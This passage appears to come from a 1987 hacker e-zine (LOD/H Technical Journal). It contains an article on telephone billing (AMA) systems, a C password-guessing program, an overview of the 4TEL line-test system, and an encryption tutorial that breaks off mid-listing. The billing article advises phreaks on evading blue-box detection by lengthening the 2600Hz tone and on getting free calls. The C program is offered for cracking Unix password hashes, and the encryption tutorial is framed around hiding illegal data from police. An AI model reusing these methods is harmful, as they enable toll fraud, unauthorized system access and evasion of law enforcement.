KP+20+NNX+XXXX+ST	Automatic Identified Outward Dialing centrex call;
KP+27+NNX+XXXX+ST	Coin telephone call.

These double digit outpulsing formats are used in Equal Access areas, and a similar method of outpulsing is used when customers deal with TSPS operators.

For more information, see the July, 1987 issue of 2600 Magazine, an article entitled 'How phreaks are caught'.

AMARC

The AMARC, or Automatic Message Accounting Recording Center, is a fairly modern development toward recording billing information. It offers the telco several advantages to the older electromechanical setups, such as increased revenue (always a plus in their eyes), reduced RAO processing costs, a new computerized format that stores data on 1600 bpi, industry compatible magnetic tape, elimination of loss due to paper tapes being destroyed, and elimination of per-office paper tape pickup and delivery.

THE NO. 1 AMARC

The first version of the AMARC was the No. 1 AMARC, which received billing data on a real-time basis over dedicated data links. It was based on two DEC PDP-11/40 minicomputers. The No. 1 AMARC controls and recieves data from a maximum of thirty dedicated channels. A channel consisted of a dedicated line (probably a Private Line service) equipped with a 202T data set, operating asynchronously at 1.2 kbps. The No. 1 AMARC had a feature which allowed it to call, over the DDD network, a backup channel in case one of the normal channels experienced a failure. This backup channel could be reached by anyone who had the phone number. It has not been determined by the author if there was/is any security on these backup channels.

THE NO. 1A AMARC

Eventually, it was decided that more data channels were needed, and that the AMARC computer could be centralized, and not clustered in administrative centers, as was the procedure. The No. 1A AMARC fulfilled the telco's needs. The No. 1A AMARC uses a higher capacity minicomputer, the DEC PDP-11/70, and Western Electric peripheral equipment to provide ninety input channels, improved maintenance capabilities, and room for growth in several areas. The first No. 1A AMARC began operation in 1981 in the Chicago area.

An important feature common to both the No. 1 and No. 1A AMARC was the ability to recieve billing information electronically over dedicated lines from central office switches. Equipment located in central offices called sensors send this data. There are different types of sensors for different types of switching equipment, but the most common AMARC sensors shall be listed here.

The Call Data Transmitter (CDT). The newest AMARC sensor. The CDT is a microprocessor based system which is used to collect data from No. 5 crossbar offices. It is designed to be used in systems that do not have LAMA-A and do not have enough traffic to warrant the expense of installing the No. 5 ETS. It can be used with other sensors, and is not the only kind used in No. 5 crossbars. The first one was cut over in Illinois in 1980.

The Call Data Accumulator (CDA). Similar to the CDT, but uses wired logic control. The CDA, which collects AMA information from SxS switches, was the first sensor to be made for use with the AMARC. This sensor is connected to the ring, tip, and sleeve leads in a SxS switch, probably at the MDF. The first CDA was cut over into service in New York in 1975.

The Billing Data Transmitter (BDT). Used in electromechanical offices, such as the Nos. 1, 5, 4, and 4A Crossbar, SxS CAMA, and the Crossbar Tandem (XBT). The BDT replaced up to 10 paper tape perforators that were previously used. Provides a newer alternative to LAMA-A. The BDT recieves billing data from the older LAMA-A paper tape recorder circuits and sends them to the AMARC. The first BDT was cut over in New York in 1976.

The No. 5 Electronic Translator System (ETS). The No. 5 ETS was added to No. 5 Crossbar systems to provide some electronic switching functions that were not present before. These functions are things such as line, trunk, and routing translations provided by software methods rather than wired cross connections. The No. 5 ETS consists of duplicated Western Electric 3A auxillary processors with associated scanners and distributors. The first No. 5 ETS was installed in Ohio in 1977.

VIDAR, a special sensor used in Crossbar No. 1 offices. VIDAR does not interface with the AMARC but instead sends data to it's own tape. This tape is then sent to the RAO on a regular basis.

These various sensors are specially designed electronic units which are part of or connected to class 5 offices. These sensors collect and generate billing data from the office they are used with. The billing data consist of answer and disconect times, call type, and the amount of measured local and toll calls made.

Some offices have added sensors, but exceptions include several ESS systems which use SPC (Stored Program Control) to send data to the AMARC. SPC means that the sensor is built into the switch software and that no other equipment is needed. An example of this is the NTI DMS-100 switch. Nos. 2, 2B, 3, 3B, and No. 5 ESS also do not have special AMARC sensors, but send data to the AMARC over a synchronous connection via a SPUC/DL (Serial Peripheral Unit Controller /Data Link) at speeds of 2.4 and 4.8 kbps. There is another part in the 2B ESS AMARC data link, called the AMARC Protocol Converter (APC). The APC is a medium between the SPUC/DL and the AMARC.

The No. 4 ESS, TSPS, 1ESS, 1AESS, and 2ESS switches don't have AMARC sensors, and aren't even connected to the AMARC. These switches all have their own AMA systems, from which the data is sent to the RAO regularly. Another exception is the DMS-10 Remote Switch, which is connected to a device at the RAO called a collector.

There are other options possible when dealing with AMA collection, such as the Distributed Call Measurement System (DCMS) made by a telco equipment vendor, which acts like a mini-AMARC, and Northern Telecom's Distributed Processing Peripheral system, which is used to collect billing data from NTI's DMS switches. These systems can be used where applicable.

RECENT DEVELOPMENTS

In places where magnetic tape has been phased out, a new method of storing the AMA data called AMA TeleProcessing Systems (AMATPS) has been implemented. AMATPS overcomes the disadvantages of magnetic tape (such as the sequential way the data is recorded, the high-density data losses that may happen, and the sometimes unseen problems with the tape unit) by using random access disk drives. AMATPS also adds some new system parts which can make the job easier.

Still, some AMATPS are not used to their full capability and can still present problems to the telco.

One of the parts that AMATPS adds to the overall AMACS is the use of AMA Transmitters (AMAT's). These transmitters are added to the sensors, and increase the power of the overall setup by providing things such as temporary storage areas and programming applications. AMAT's are generally PC-sized machines with two disk drives, and 50-150 megabyte hard disks.

The second important addition is the collector. The collector acts like the AMARC by polling the AMAT over data links. The collector, like AMARC, is a centrally located computer system, usuallly running on an IBM Series 1, an HP-1000, or an AT&T 3B5.

Teleprocessing systems are made to understand a common AMA language format made by Bellcore, the Bellcore AMA Format and Extended Bellcore AMA Format. These were mentioned in part A of this article.

BOC/AT&T INTERACTION

Since the majority of people are served by AT&T, one may wonder how inter-LATA call data gets to the given Inter-LATA Carrier (IC), in this case, AT&T. AT&T has its own AMA collection system, which is called BILDATS (BILling DATa System), and this is what collects the AT&T data. I would guess that each AT&T toll office has some sort of interface with this computer system, but I have no solid proof of this. It has also been suggested to me from a reliable source that AT&T sends each BOC their own magnetic tapes, which the BOC's then fill with AT&T's billing information. I am not sure which of these methods is used.

The BOC billing information takes a different route, however. On a regular basis (I believe each day), AMARC tapes are sent to the Regional Accounting Office (RAO) or billing office, where each customers intra-LATA traffic is calculated and their telephone bill printed and mailed. The customer then recieves the bill and goes about whatever method of payment he chooses. Telephone bills can usually be paid in person in many different places in large cities, or they can be mailed in directly if the customer wishes. In my area, the customer pays once, which is a total of his AT&T and BOC bill. This is payable to the BOC, and AT&T then gets their payment from the BOC. In the case of independent carriers such as US Sprint, MCI, ALC Communications, and the like, I cannot say for sure what they all do as there seems to be no standard procedure for this interaction, but in two instances, two specific RBOC's (US West and BellSouth) handle FG-D Equal Access style billing for MCI throughout their serving areas. There is a computer system involved in this alternate carrier billing cycle, called the Carrier Access Billing System (CABS). This system calculates the prices bases on tariffs in use, and bills the carriers on a monthly basis accordingly. I am not sure how widespread the use of this sytem is, though. When the customer receives his MCI bill along with his BOC bill he can pay them both at once. I would imagine that the larger long distance services would be able to afford getting this service from the RBOC's, while the smaller ones with less money would do it by themselves, which would probably be a slow, drawn out process. In some cases, dialing via an alternate carrier (other then your primary one) will cause the billing cycle to take anywhere up to three months to complete, or even more. Another interesting note about alternate carrier dialing, some carriers do not start billing until a specific amount of time has elapsed. This is known as buffer-zone billing. I know of one company that uses a 45 second buffer zone, but I am not sure what the other companies use. You can find this information out by talking to a customer service department, however some companies CS departments either don't know, or they do not wish to tell the customer (or 'potential' customer). With buffer zone billing (assume 45 seconds in this case), you will be billed for the call if you let the phone ring, listen to a

busy signal, etc. if the duration of the call is greater than or equal to 45 seconds. Many of the ICs that use this type of billing do not have the equipment to detect answer supervision, so if you can keep a conversation very short, you may get away with a free call, without breaking any laws.

CALL CREDITING

When you receive credit for improperly placed long distance calls from an operator or a telco business office (after you receive your phone bill) certain things happen.

Operator crediting involves the operator entering a special flag on an AMA tape to deduct the specific amount of given charge from the subscriber's telephone number. I believe that this process involves (with AT&T TSPS) the KP TRBL key, and (with NTI's TOPS) the KP TRBL and the CHG ADJ (charge adjust) keys.

Business office crediting happens when you call the business office and talk to a BOC 'service representative'. This person will then enter your telephone number into a terminal, using the DOE (Direct Order Entry) system, which is in use in my area. The billing record information comes from a computer called CRIS (Customer Record Information System), which is accessed by BOSS (Billing and Order Support System). BOSS has a link to computer systems at the RAO, as this is how the customer's toll data gets to the business office. A service representative can then pull up your toll charges and correct them with appropriate credit entries.

SECURITY (EVERYONE READ THIS PART)

There have been several rumors going around about AMA and it's relation to people who commit toll fraud, and I will attempt to clarify these rumors. It is possible that a billing tape could be used to try to find out who called a certain number at a given time. Another way AMA tapes/disks could be used as a record of someone committing toll fraud would be if this person would happen to be under a newer switch, such as the DMS-100, and they attempted to use a blue box without knowing the dangers of it (I will speak only on the DMS-100 because when a older switching system is replaced with a new one, the most common replacements are the AT&T No. 5 ESS and the Northern Telecom DMS-100 Family of switching systems). DMS-100 does indeed have the capability to record a blue boxer's MF tones in an AMA record if the boxer doesn't know what he is doing. 1AESS also has blue box detection features. I am not sure about other switching systems, but I would guess that most of the newer switches have some sort of blue box fraud detection features, of course the end user of these switches (the telco) does not have to use them. However it is difficult to find out if your CO uses anything of this nature unless you are a good social engineer or have access in some way to the switch or switch output messages and know what to look for. For instance on the Northern Telecom DMS-100 switching system, there are a series of reports known as BLUEBOX reports which (if in use) will inform the telco of blue boxing activity. The DMS-100 also has AMA options that can detect certain forms of electronic toll fraud, such as black and blue boxing. These options can be set any way the telco wants. These AMA options can be printed on a DMS-100 switching system,onto hardcopy terminals, or onto a data channel which may send the Output Messages (OMs) to a telco computer system such as the Switching Control Center System (SCCS). These options are printed in an AMA118 OM at midnight. If an AMA option is in use by that particular switching system, after the name of the option will be a data field that says ACTIVE. If the option is not in use, the field will say INACTIVE. An example of an AMA118 OM is reproduced here.

```
AMA118 JUL23 12:00:00 2234 INFO AMA-OPTIONS
   AUDIT:       ACTIVE
   CALL-FWD:    ACTIVE
   CDAR:        INACTIVE
   CHG411:      ACTIVE
   CHG555:      ACTIVE
   COIN:        INACTIVE
   DA411:       ACTIVE
   ENFIA-B-C:   INACTIVE
   FREECALL:    INACTIVE
   HIGHREV:     INACTIVE
   INWATS:      ACTIVE
   LNID:        INACTIVE
   LOGAMA:      INACTIVE
   LOGOPT:      ACTIVE
   LONGCALL:    ACTIVE
   LUSORIG:     INACTIVE
   LUSTERM:     INACTIVE
   OBSERVED:    INACTIVE
   OCCOVFL:     ACTIVE
   OCCTERM:     ACTIVE
   OUTWATS:     ACTIVE
   OVERFLOW:    ACTIVE
   SST:         ACTIVE
   TIMECHANGE:  ACTIVE
   TRACER:      ACTIVE
   TRKID:       INACTIVE
   TWC:         INACTIVE
   UNANS-LOCAL: INACTIVE
   UNANS-TOLL:  ACTIVE
```

The most important ones for phreaks to know about are INWATS, LONGCALL, SST, UNANS-LOCAL, and UNANS-TOLL. INWATS means that calls to 800 numbers are noted in an AMA record. As far as I know, this option is a required one, at least since Bulk Change Supplement 23 (BCS23). LONGCALL will flag long calls in an AMA record. So if it seems to the switch that someone has been on the phone for a long time, this will be logged. A possible use for this would be to detect trouble conditions. This option, used in past switching systems, may have been the cause of many blue box busts. Someone would box for several hours using the same number (for instance, Directory Assistance) and this may have been noted by the switch. Another way I think old time boxers may have been nailed is from boxing off of DA. As you can see in the above listing, there are several options that probably make AMA entries for calls to DA. If the length of a call to DA lasts longer than a certain amount of time, the telco could possibly detect this and attach a monitoring device upon the suspected persons telephone line. The AMA option 'SST' may also be responsible for blue box busts in the recent past. SST stands for Short Supervisory Transition, and an SST is known to the phreak world as a wink. SSTs are generated when a blue boxer seizes a trunk. The switch can detect these and log them in an AMA record if the option is set to ACTIVE. SSTs are not solely caused by boxers, though, as equal access offices can generate a lot of SSTs in normal operation. I believe that trunking arrangements with ICs (InterLATA Carriers) are often responsible for triggering these. One toll office I knew of had thousands of SSTs on a plant measurement report, so if this option is ACTIVE, it may not be EXTREMELY dangerous, but it can't hurt to know about this. One possible way around the SST detect is to make your 2600Hz tone last several seconds. I do not remember the exact figure, but after a certain number of seconds an SST ceases to be an SST ceases to be an SST. I am not sure if these longer transitions are logged or not, or if there is even an option for this. However I believe that the BLUEBOX feature could not be fooled by doing this. BLUEBOX, if activated, will detect any foreign winks after a necessary one (necessary for call completion) occurs. Of course you can always avoid having your DN associated with anything like this by

re-directing your call flow, which can be accomplished easily.

Another AMA option that could be used to catch black boxers is the UNANS-TOLL option. When this option is ACTIVE, toll calls ringing longer than a specific period of time can be logged in an AMA record. Someone calling toll from a DMS-100 to a person using a black box (does anyone still use devices like the black box anyway?) in a no. 5 crossbar may trigger this option to be logged. I say 'may' because I am not positive about this, the option could also be used in other ways, I imagine.

The ENFIA-B-C option is one that could possibly present a problem to a telecom enthusiast. I have seen the term ENFIA (Exchange Network Features for Interstate Access) associated with a Feature Group A (POTS dialup) long distance service. ENFIA-B and C mean FG-B and FG-C service. FG-A and B (POTS and 950+1/0xxx respectively) could possibly be used to record information concerning toll fraud. For instance, I know of one service (FG-D and FG-B) that has the ability to check a telcos' magnetic tape to see what numbers have been accessing their service. If a large amount of fraud became a problem, the carrier could get the AMA information to try and determine who is committing toll fraud. I'm not sure if other companies have this option, I would guess that almost all of the major companies (MCI, Sprint, Allnet, etc.) have the ability to use something of this nature to track down security problems.

Have you ever wondered why many of the old blue boxers were caught? It is due to the use of AMA. AMA records can reveal boxing patterns, and this info can be used by the telco to track down blue/red/black box users. So if you are a person who practices any of these methods, be aware of what you are up against. Boxing has been around for a very long time and the telco knows all about what goes on and the different methods that people use. So use care. An informed phreak is a free phreak.

SUMMARY

Hopefully this article has helped clear up any misconceptions about AMA that anyone might have had, as well as provide a reference to be looked back on. The information contained in this article can also be used for social engineering purposes, if you so desire. However, I do not intend for any of this information to go into harmful purposes, such as billing calls to other people, or causing confusion and disorder at any internal points in the telco. Such actions do not make a person a phone phreak. However, if you find out anything interesting concerning AMA that isn't included here, or anything about independent telcos billing systems, feel free to let me know.

If you wish to contact me concerning this article, you can find me on a few BBS's. I will attempt to answer any questions anyone might have, and would like to hear from anyone who has a valid interest in the workings of the phone systems.

==========
Thanks go out to all the people (too many to mention) who have contributed any information (no matter how small or large) to this article. Other information for this article has been taken from switching system messages, Bell System Technical Journals, Bell Labs RECORDs, Bellcore documents, and various other technical literature and information. I hope someone likes this article because it took a very long time to complete.
==========

---------- Shooting Shark's PW Hacker Update ----------

The following is a reprint of Shooting Sharks' post which he provides another program which can be typed quickly or uploaded to the unix system of your choice. This program can be used to ensure that the algorithm does work and you could then proceed to upload his program from Issue #2 for more extensive password finding. I was able to get his HPW.C program to run perfectly, and have found quite a few passwords by having it check passwords with dictionary entries and other files of probable passwords.

-Lex Luthor

Taken from: The Free World II 301-668-7657 BBS (no longer up)

%> When: 9-19-87 at 3:46 am

Since three people have told me my source won't compile on their system, I've taken the suggestion and put together a *very* stripped-down version of my HPW.C program from Issue #2. Now it's basically a 20-line engine that you can use to verify that the algorithm does indeed work (try it with your own password) and then add whatever bells and whistles you want (like reading words from a file, etc.) The version presented here just prompts the user for the encrypted password string, and then goes into an endless loop where it reads a password attempt from the keyboard, encrypts and compares it, and tells the user if it's the correct password. It calls no external routines besides crypt(), printf(), scanf(), strcmp() and exit(). crypt() is absolutely essential to the program, and the rest are defined in K&R so this program had *better* work on your unix system!

Here it is. Sorry for the hassles the old version gave anybody although some people were able to get it to run quite nicely.

```
- - - - - - - - - - - - - - - - - - cut here - - - - - - - - - - - - - - - - - - -

int     len;

char    crbuf[30], *crypt(), *pw, pwbuf[10];

main()
$


        printf("first, carefully type the ENCRYPTED password string:Xn>");
        scanf("%s",crbuf);
        printf("Now, type a password attempt at the prompt.  type QUITXn");
        printf("(yes, in caps) on a blank line to quit...XnXn");
        for (;;) $
                printf("try >");
                scanf("%s",pwbuf);
                if (!strcmp(pwbuf,"QUIT"))
                        break;
                pw = crypt(pwbuf,crbuf);
                if (!strcmp(pw,crbuf)) $
                        printf(" ==> %s is correct.Xn",pwbuf);
                        exit(0);
                #
        #
        printf("done.Xn");
#

- - - - - - - - - - - - - - - - - - cut here - - - - - - - - - - - - - - - - - - -
```

```
 *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
(L)                                                                        (L)
(O)    An Overview of the Teradyne 4Tel System                             (O)
(D)                                                                        (D)
(+)                          by                                            (+)
(+)                                                                        (+)
(+)                    Doom Prophet                                        (+)
(L)                                                                        (L)
(O)              Legion of Doom/Hackers!                                   (O)
(H)                                                                        (H)
 *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
```

4TEL is a loop testing system mainly used by General Telephone (GTE) that consists of a Voice Response System and a Craft Dispatch Section as well as the facilities and equipment used for testing functions. The following text will attempt to dispell many of the 4TEL myths that have been created in the past years, such as the idea that it can be used to eavesdrop on lines within its serving area. The information provided has been gained from company publications and from personal experience. A 4TEL is not the same thing as a REMOBS, which stands for REmote service OBservation System.

The portion of the system that some of the phreak/hack population is familiar with is the Voice Response System, which has normal POTS dialups. This system greets the user with an announcement message and then asks for a password, which is entered in DTMF tones. The legitimate use of these dialups are for outside craft personnel (linemen) to call in, perform tests and receive the results for subscribers' lines. The VRS is provided so craft personnel can access the 4TEL system at times when no one is at the testboard (at nights or weekends). Through the VRS, up to 8 craft/technicians can access 4TEL at the same time, enabling them to get more done in a smaller amount of time.

After a password has been accepted by the system, the electronic voice will ask for the line number that the user wishes to be tested. The number entered will be read back to ensure correct entry. The system will then ask for the user to enter the mode. The modes are:

1: Calling on other line
2: Calling on test line
3: Line test results

It is possible on some VRS's to get a listing of the modes by dialing 0 when the voice prompts. Line tests are possible from both modes 1 and 2 by dialing the octothorpe (#) key. The results of the test will be announced along with the length of the cable in miles. Bridged ringers, if any, will also be noted. Mode 3, the line test results section, will tell the user there are no test results available unless they have beeen previously entered. The 7 key is the monitor command from both test modes. If there is speech on the line, it will be detected electronically but will NOT be heard by the user. The monitor command is not 'REMOBS' (Remote Observation) but a method of determining if the line is busy due to normal means (conversation) or due to some trouble condition at the switch. When the system asks for the ID code for

a monitor command, the system will accept the line number as well as the initial password, and even a secondary password before dialing, but it has not been determined by the author if this is a standard for every 4TEL. Not just anything will work for the monitor password however as it will announce if the ID code entered is invalid or not.

If mode 1 is entered, these commands are available:

MODE ONE COMMANDS:

1-Fault location
2-Other Testing
7-Test OK, monitor
8-Hang up
9-Enter next line number

If option 7 is chosen, another menu will be available if the line tests busy.

2-Monitor test
3-Overide and test
4-Wait for idle

If suboption one (Fault location), mode one, is chosen, these commands are available:

1-Open location
3-Short location
4-Cross location
5-Ground location
8-Hang up

If suboption two (Other testing), mode one, is chosen, these commands are available:

2-Loop ground Ohms
3-Dial tone test
4-Pair ID
8-Hang up

MODE TWO COMMANDS:

2-Other testing
7-Test OK, monitor
8-Hang up
9-Enter next line number

If suboption 2 (Other testing), mode two, is selected, these commands are available:

2-Loop ground Ohms
8-Hang up

The 4TEL system's main use is for standard testing, which is done nightly upon every line in an exchange. This locates faults and problems before they have to be reported by customers. All lines that have trouble detected upon them are printed out in a report at the repair center the next morning where the proper fault location and dispatching can be done. The measurement and test unit of the 4TEL system is called a COLT, Central Office Line Tester, which performs all nightly and on demand testsupon the exchange through local test trunks.

There are a few different types of COLTs. The standard version will serve any CO for up to 10,000 subscribers. The COLT RS is used in rural step by step offices (referred to as 'steppers' also) for up to 1,300 lines. The Digital COLT is used for digital Central Offices. These can have remote Colt Measurement Units (CMU's) for remote switches which are controlled by the Colt Computer Unit (CCU) at the host switch. The CMU speed calls the CCU at night to start the testing and direct the operations. The CMUs in regular end offices have digital links (over the normal telephone network) with the SAC, which is how the line test results are distributed to the repair center.

The 4TEL system can also test lines upon command by a human operator at the SAC (Service Area Computer). The CRT operator enters the line number in the proper field and 4TEL runs a full series of tests as well as displaying past line history, fault summary, volts and current information, and the cable length. The results of the testing are displayed in plain english, as opposed to decimal or other format, on the screen. A dispatch decision is also displayed after every line test to determine if a dispatch is needed.

SAC's

The SAC is the centralized focal point for 4TEL control and reporting. This computer is located in the repair center and distributes test/work information between CRT's and COLT's. The SAC formats the results of routine testing into a daily advisory report as mentioned earlier.

There are several types of 4TEL reports that are worth noting. The DISPATCH report lists troubles that can have an immediate dispatch for them. These also tell the location of the fault (cable, CO, station, etc.) and are classified into two types, moderate and severe, relating to how service affecting the problem may be. The CABLE report lists all new cable faults. A Plant Status report summarizes the condition of the outside plant and totals them per individual exchange. In these reports, trouble conditions can be listed in a variety of ways. CROSSES and WETS refer to line insulation faults and may indicate water penetration of the cable. SHORTS and GROUNDS are insulation faults at the station set. OPENS refer to a broken, or 'open' Ring or Tip lead in a Cable Pair. BACKGROUND refers to electrical noise caused by power lines being nearby. ABNORMAL VOLTAGE indicates high voltage conditions. There are others, but the reader will hopefully get the idea from the ones listed above.

CDS

Another major part of the 4TEL system is the Craft Dispatch System, which is a DTMF and speech response setup used to exchange report and schedule information between the repair center staff and outside craftspersons. Linemen call in to get dispatch information that has been previously entered by the dispatcher. CDS plays back the info one field at a time. When the craft personnel is ready to receive the next field of information, he simply says 'Go' and the system continues. A printer at the repair center informs the dispatcher when a craftsperson has received a report. When the trouble is taken care of, a completion report is done on the CDS in which it asks for the closeout and schedule one field at a time to be entered in DTMF and in speech. The clerk at the repair center then closes the trouble on the SAC/4TEL system after the line is tested a final time to ensure proper operation.

CDS may also have audit trails of every transaction for a certain time period. So to summarize the work flow for involving the CDS: Irate customer calls the clerk at the repair center. The information is forwarded to the dispatcher who enters it into CDS. Craft personnel call in and receive the messages, do the required work, then file a completion report. The clerk then closes out the trouble in SAC/4TEL.

The Digital Concentrator Measurement Unit is another component of the 4TEL testing equipment that is used to test lines in digital concentrators such as the GTE MXU and the NTI-OPM. They are located inside Digital Loop Carrier system remote terminals or huts and consist of a circuit board and measuring system. It provides AC and DC measurements of subscriber loops, as well as all the normal test/measurement functions such as fault description and location , dispatch messages, and special tests. The DCMU can test the lines of an individual DLC remote terminal, or a group of terminals that are located together. The capacity of terminals that the DCMU can test is determined by analysis of test traffic and economic factors as well. Both the CRT at the SAC and the VRS are compatible with the DCMU. These units are self calibrating, unlike the PMU's of an LMOS supported Loop Testing System. The 4TEL CCU is linked to the DCMU via either a 1200 baud dial up or a dedicated link, depending upon the size of the office.

Some of the tests that 4TEL performs are loop and ground resistance (which detects resistance faults and sheath ground problems), dial tone test (in which the number of times dial tone can be drawn during a certain period is recorded) , busy line monitoring (not BLV or REMOBS), coin station tests (totalizer, coin relay, etc), as well as all the standard tests which were covered above. A pair identification can also be done, in which a tone is placed on the pair to help those at terminal cabinets locate that specific one, similar to the LMOS/MLT tone applique function.

Miscellaneous notes

If a user enters the number of the 4TEL system they have dialed in upon, the system will announce an intercept. A user cannot monitor/test Directory Assistance through 4TEL. Lines that are out of the system's NPA can be tested also, but a 1 has to be dialed before the number just like an ordinary toll call. The 4TEL VRS will give the user a 'beep' tone after a few seconds of waiting for input. If the user doesn't enter anything, the VRS will disconnect. A version of 4TEL is also used by Rochester Telephone in New

York, and there may be other independent companies that use the system. Try to find out what system you're served by. If you're in a Bell area, it will most likely not be 4TEL, but LMOS.

I hope that this article has helped readers to better understand the way the 4TEL system operates. Again, there may be some differences depending upon the area and the company. Thanks go to Taran King, Phantom Phreaker, and Lucifer 666 for supplying information in one way or another that contributed to this file.

Doom Prophet/LOD
The LOD/H Technical Journal, Issue #3: File 06 of 11

```
              ||||||||||||||||||||||||||||||||||||||||||||||||||
+-+-+-+-+-+-+/                                                  X+-+-+-+-+-+-+
 X  L  X        Secure Data Encryption with Cellular Automatons        /  L  /
   X  O  X                                                            /  O  /
     X  D  X                          by                            /  D  /
       +-+-+-+                                                     +-+-+-+
         X  L  X                  The Mentor                    /  L  /
           X  O  X                                             /  O  /
             X  H  X    A Legion of Doom Presentation!     /  H  /

               +-+-+-+                                   +-+-+-+
                X_X_X_X___________________________________/_/_/_/
```

One of the key issues that concerns anyone who has sensitive or illegal information on their computer system is preventing unauthorized access to this information. Even if you hit a key that deletes everything on the hard disk when you see that four-door sedan pull up in the driveway, any idiot with Norton's Utilities (IBM) or Copy II+ (Apple) can recover anything that's on your drive with minimal effort. A delete command only changes a flag in the VTOC (volume table of contents), it doesn't actually *remove* the file from your system.

There are two methods to ensure that your data can't be read by a sector editor or recovered by NU. The first is to overwrite everything with a NULL (FF) or anything else for that matter. I've seen one batch file that does a global delete, creates a file that says 'EAT HOT DEATH', and then begins copying it until disk space is full. Unfortunately, you can't always guarantee that you will be able to get to your computer before someone else does.

The second method is to encrypt your data. Most people have visions of data encryption being some sort of arcane process akin to summoning demons or talking with Dead Cow Cult members (two closely related process- es.) In practice, it isn't that difficult. This file is intended to show some very short programs that will encrypt data beyond the ability of any- thing short of a dedicated mainframe to crack.

How to use: The code examples I provide will be in MicroSoft's AmigaBASIC. It is fairly generic and you should be able to convert it over to IBM, //e,c,gs, Mac, ST, C64, or any flavor of mainframe you like. For those of you setting up systems on Packet-Switched Networks (such as the LOD/H system one of our members is implementing) data encryption should be considered absolutely necessary to maintain security.

The terseness of the routines make them easy to insert in a bulletin board also, although conversion into C or Assembly would be necessary for decent speed.

Intro to Cryptography: Long before computers were around, there was a need for data security. Everyone used lemon juice as 'invisible ink' when they were a kid, heating it over a candle to bring it out. And everyone has seen

the substitution code where "A" = 1, B = "2", "Z" = 26, etc...

The easiest form of encryption involves a variation of the previous. First of all, don't think of A = 1 as a substitution, think of it as a remapping. Let's say we have a language made up of the five vowels, and we wanted to remap them to the numbers 1-5. Our map would look like this: "AEIOU12345" and our mapping function would be f(c) = POSITION(c) + x where c = the letter to map and x is the key (in this case 5.) So every time we needed to encrypt a letter, we would take its position in the map, add 5 to it, and come up with the character to substitute. For the entire alphabet, the mapping function would be f(c) = POS(c) + 26 for the map "A..Z,1..26".

Your map should be composed of all the characters that will be used for encryption. In a text only encrypter, this will consist of all the printable characters your machine can use. The same method can be used to encrypt binary files, but it's not as clear as text only for a teaching example.

The problem with this simple form of encryption is that your average C64 could crack it in a matter of minutes. Enter into the next level of cryptography, random numbers.

During World War II the Allied Forces created a system to generate random electric noise, recorded this noise onto a wax cylinder, and scram- bled radio transmissions by mixing the seemingly random noise with the voice transmission. The soldiers in the field needed an imprint of the same cylinder to be able to understand the message. Think of the wax cy- linder as a 'filter' for the crypted message.

A random number generator can be easily used to encrypt data providing you realize the following- a random number generator on a computer is not really random. If you initialize the generator with the same seed value on two seperate occasions, it will return the same sequence of psuedo- random numbers. Most BASIC's use the RANDOMIZE <seed> command to start the generator off. If you leave off the seed, they get a seed from the system clock or some other fairly random source, providing a much truer random selection. But by declaring the seed yourself, you can be sure that you will be able to reference this same string of numbers, a string that is very hard to figure out without the key (seed.)

Program Listing 1 is an example of a BASIC encrypt/decrypt system that uses the built-in random number generator include on the machine (or language implementation.)

Program Listing 1

```
REM ************************************************************************
REM
REM  Ok, this is an example of very basic encryption.  It takes the input
REM  string and the input key and processes them using the machine's built
REM  in random number generator.  This version is written in AmigaBASIC 1.2.
REM  It can be compacted quite a bit by writting it in C, but it's an easy
REM  algorithm to crack.
REM
REM ************************************************************************

INPUT "String to be encoded"; C$
INPUT "Key Please! ";K


REM ************************************************************************
REM
REM  When you use the RANDOMIZE command, it seeds the random number gener-
REM  ator with the key K.  *EVERY* time you seed the generator with the same
REM  value, you will get the same sequence of psuedo-random numbers.  Since
REM  the built in random-number generator uses a linear algorithm to gener-
REM  ate the sequence, it's easy (relatively) to crack.
REM
REM ************************************************************************
```

```
RANDOMIZE K

REM ************************************************************************
REM
REM  The only difference between encoding and decoding is which way you
REM  move in your Q$ array space.  Encoding takes the original and shifts
REM  to the right, decoding takes the codes value and shifts to the left.
REM
REM ************************************************************************

REREAD:
  INPUT "Encode or Decode ? ";A$
  A$=LEFT$(A$,1)
  IF A$="E" OR A$="e" THEN
    A=1
    GOTO HEAD
  END IF
  IF A$="D" OR A$="d" THEN
     A=-1
  ELSE
     GOTO REREAD
  END IF

REM ************************************************************************
REM
REM  Q$ contains all the characters that can be encoded.  Every encoded
REM  character will be mapped to a character in this array.  I haven't
REM  included any non-standard characters, so you will have to customize
REM  it to your particular keyboard/system.  I've included an error check
REM  that will abort the encryption if it encounters a character that isn't
REM  in Q$.  I have to use the STRING$ command to insert the spacebar and
REM  the quote into the string.  It could also be done with a ASC(##) in
REM  many basics.  You could expand this to include any non-printable
REM  characters you'd like so you could do non-text files.
REM
REM ************************************************************************

HEAD:
  SPACE = 32
  QUOTE = 34
  Q$="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
  Q$=Q$+"1234567890!@#$%^&*()-=_+[]$#;:'.,<>/?X|#D"
  Q$=Q$+STRING$(1,SPACE)+STRING$(1,QUOTE)
  QSIZ = LEN(Q$)

REM ************************************************************************
REM
REM  This is the main loop.  L = length of the string to encrypt.  In this
REM  example, I am only encrypting a single string.  Most people who will
REM  actually use this will change the FOR loop to run until an EOF is
REM  encountered in the input file.  Since the syntax for that will vary
REM  widely from system to system, I'll leave it out.
REM
REM ************************************************************************

L=LEN(C$)
FOR I = 1 TO L

REM /* Finds the character I in the input string */
  X$ = MID$(C$,I,1)

REM /* Finds the integer location of the character in Q$
REM    returns variable POZ */
  GOSUB LOKPOZ
```

```
REM /* RND returns a random # between 0 and 1.  Multiply it by the
REM    size of array Q$ and you get the number of positions to move
REM    when encoding or decoding. */
  POZMV = (RND * QSIZ)

REM /* If you are encoding, you will shift to the right using addition.
REM    you take the modula base QSIZ to keep the new character within
REM    the bounds of Q$. */
  IF A = 1 THEN
    NUPOZ = (POZ + POZMV) MOD QSIZ
  ELSE
REM /* Otherwise, you subtract, which takes a bit more math to keep
REM    up with.  Once you have the distance to shift, you must
REM    convert it to a positive integer and then subtract two to
REM    account for the head & tail of the array. */
    NUPOZ = (POZ - POZMV) MOD QSIZ
    NUPOZ = NUPOZ -2
    IF NUPOZ < 1 THEN
      NUPOZ = QSIZ - ABS(NUPOZ)
    END IF
  END IF

